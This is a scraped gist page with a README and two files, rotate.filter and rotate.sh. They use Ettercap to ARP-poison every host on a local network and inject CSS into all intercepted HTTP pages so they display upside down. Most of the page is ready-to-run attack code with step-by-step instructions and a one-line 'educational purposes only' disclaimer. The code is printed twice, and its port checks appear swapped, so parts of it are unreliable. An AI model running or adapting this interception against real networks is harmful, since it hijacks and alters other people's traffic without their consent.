0x736E/README.md

## README.md

      
    Raw
  

              README.md
            
          
    Rotate the Internet using Ettercap and CSS3.

Using this technique, Ettercap will poison the ARP table so that it
will become a man-in-the-middle for all traffic on the network. It
then uses the rotate.filter ettercap filter (which etterfilter
compiles in rotate.sh) to inject some CSS3 into every HTML document so
that it's rotated 180 degrees.
Now the internet is upside down!
This information is presented here to illustrate the insecurity and
oftentimes fragility of network communications and the need to be
careful about your security policies.
###This information is presented for educational purposes only.


Create or copy rotate.filter and rotate.sh


Connect to a network either by Wireless or by Ethernet


Modify the rotate.sh script so that -i wlan0 reflects which network
interface you want to use (e.g. eth0, wlan1, ath0 etc). Read the
ettercap manual for more information with 'man ettercap'


make the rotate script executable with chmod +x rotate.sh


execute it with ./rotate.sh


It should detect any hosts on the network and automatically add new
ones to the target list. When a device on the network connects to a
website it should now go through your computer using Ettercap and with
the filter rotate.ef it should inject CSS3 style information that will
rotate the browser.

  
## rotate.filter
if (ip.proto == TCP && tcp.src == 80) {
  if (search(DATA.data, "Accept-Encoding")) {
    replace("Accept-Encoding","Accept-Nothing!");
  }
}

if (ip.proto == TCP && tcp.dst == 80) {
  if (search(DATA.data, "<head>")) {
    replace("<head>", "<head><style>body{-webkit-transform:rotate(-180deg) !important;-ms-transform:rotate(-180deg) !important;-moz-transform:rotate(-180deg) !important;}</style>");
  }
}

## rotate.sh
#!/bin/bash

# compile the ettercap filter
etterfilter rotate.filter -o rotate.ef

# run ettercap with our filter and the autoadd plugin
ettercap -T -q -i wlan0 -M arp:remote -P autoadd -F rotate.ef // //
	if (ip.proto == TCP && tcp.src == 80) {
	if (search(DATA.data, "Accept-Encoding")) {
	replace("Accept-Encoding","Accept-Nothing!");
	}
	}

	if (ip.proto == TCP && tcp.dst == 80) {
	if (search(DATA.data, "<head>")) {
	replace("<head>", "<head><style>body{-webkit-transform:rotate(-180deg) !important;-ms-transform:rotate(-180deg) !important;-moz-transform:rotate(-180deg) !important;}</style>");
	}
	}
	#!/bin/bash

	# compile the ettercap filter
	etterfilter rotate.filter -o rotate.ef

	# run ettercap with our filter and the autoadd plugin
	ettercap -T -q -i wlan0 -M arp:remote -P autoadd -F rotate.ef // //